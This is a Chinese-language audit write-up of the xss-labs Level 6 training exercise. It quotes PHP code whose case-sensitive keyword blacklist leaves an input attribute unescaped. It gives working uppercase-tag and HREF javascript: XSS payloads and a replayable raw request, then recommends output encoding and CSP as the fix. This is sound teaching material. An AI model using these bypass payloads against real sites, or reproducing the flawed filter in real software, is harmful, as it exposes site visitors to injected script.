xss-labs Level6 代码审计报告
目标文件:
level6.php| 漏洞类型: 反射型 XSS —— 大小写绕过黑名单(大小写敏感过滤) | CWE: CWE-79 / CWE-80 | 危害等级: 中危
风险路径:GET /level6.php?keyword=<payload>→<input value="...">属性/标签注入
一、漏洞代码定位
level6.php 第 17-24 行:
$str = $_GET["keyword"]; // L17 注意:没有 strtolower
$str2 = str_replace("<script", "<scr_ipt", $str); // L18 大小写敏感
$str3 = str_replace("on", "o_n", $str2); // L19
$str4 = str_replace("src", "sr_c", $str3); // L20
$str5 = str_replace("data", "da_ta", $str4); // L21
$str6 = str_replace("href", "hr_ef", $str5); // L22
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level6.php method=GET>
<input name=keyword value="'.$str6.'"> // L24 危险:value 属性未转义
<input type=submit name=submit value=搜索 />
</form>
</center>';
漏洞点: L24(属性未转义)+ L18-22(过滤全部大小写敏感且未先压平输入)。
二、漏洞原理
- 本关过滤的关键字
<script、on、src、data、href均为小写匹配,而输入没有先strtolower(对比 Level5 先压平了)。因此把关键字写成大写即可完全绕过过滤器,浏览器对 HTML 标签/属性名大小写不敏感。 - 实测:
"><SCRIPT>alert(1)</SCRIPT>经过滤后原样不变。 - 过滤设计缺陷: 要么先压平(如 L5,但会误伤业务大小写),要么做正则大小写不敏感匹配;二者都没做。
三、利用方式与 Yakit 可重放数据包
Payload(URL 解码后,主推):
?keyword="><SCRIPT>alert(1)</SCRIPT>
渲染结果: <input name=keyword value=""><SCRIPT>alert(1)</SCRIPT>"> → 大写 <SCRIPT> 正常解析执行。
备选 Payload(href 大写绕过,点击触发):
?keyword="><a HREF=javascript:alert(1)>xss</a>
Yakit 可重放原始请求(主推):
GET /level6.php?keyword=%22%3E%3CSCRIPT%3Ealert(1)%3C%2FSCRIPT%3E HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0
Accept: text/html
Connection: close
触发方式: 页面加载即执行 alert(1) → 命中通关逻辑跳转 level7。
四、修复建议
$str = $_GET["keyword"] ?? "";
// 若坚持用黑名单,必须先统一大小写再做大小写不敏感匹配:
$low = strtolower($str);
foreach (["<script", "on", "src", "data", "href"] as $kw) {
if (strpos($low, $kw) !== false) {
exit("非法输入"); // 或按业务策略拒绝
}
}
$safe = htmlspecialchars($str, ENT_QUOTES, 'UTF-8'); // 根本修复:输出编码
echo "<h2 align=center>没有找到和".$safe."相关的结果.</h2>"
. '<center><form action=level6.php method=GET>
<input name=keyword value="'.$safe.'">
<input type=submit name=submit value=搜索 />
</form></center>';
要点:
- 输出编码(
htmlspecialchars ENT_QUOTES)才是根本,不要依赖关键字黑名单。 - 如必须过滤,匹配前统一
strtolower,或使用大小写不敏感正则;单点替换很容易被大小写/实体/换行绕过。 - 配合 CSP
script-src收紧。
五、备注
- 已实测:
"><SCRIPT>alert(1)</SCRIPT>与"><a HREF=javascript:alert(1)>xss</a>均原样通过过滤器。 - 与 Level5 对照: 同样黑名单,Level5 因
strtolower使大写失效;本关未压平导致大写绕过成立。
正文完